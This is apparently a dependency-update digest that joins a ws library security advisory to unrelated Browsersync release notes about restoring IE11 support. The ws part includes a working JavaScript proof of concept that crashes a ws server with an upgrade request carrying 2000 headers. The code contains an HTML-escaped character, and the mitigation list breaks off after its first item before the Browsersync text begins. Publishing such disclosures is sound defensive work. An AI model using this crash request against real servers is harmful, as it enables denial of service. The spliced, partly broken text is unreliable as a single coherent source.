Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;

}


}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

The one that restores IE11 support 💪

What's Changed

• fix ie11 by @​shakyShane in BrowserSync/browser-sync#2024

esbuild does not support down-level transpiling as far as IE11 - so when I switched to it, it accidentally broke IE11 support 😢

This is an important issue for me - many devs that support old browsers like IE11 are doing so because their projects are used in public services, or internal applications. Not every developer out there has the luxury of supporting evergreen-only browsers.

So, IE11 will work once again 🎉. Please use the issues thread to make me aware of any problem that's preventing you from using Browsersync in your day job 💪 (and be sure to thumbs-up the issues you want to see resolved)

# IE11 works, again
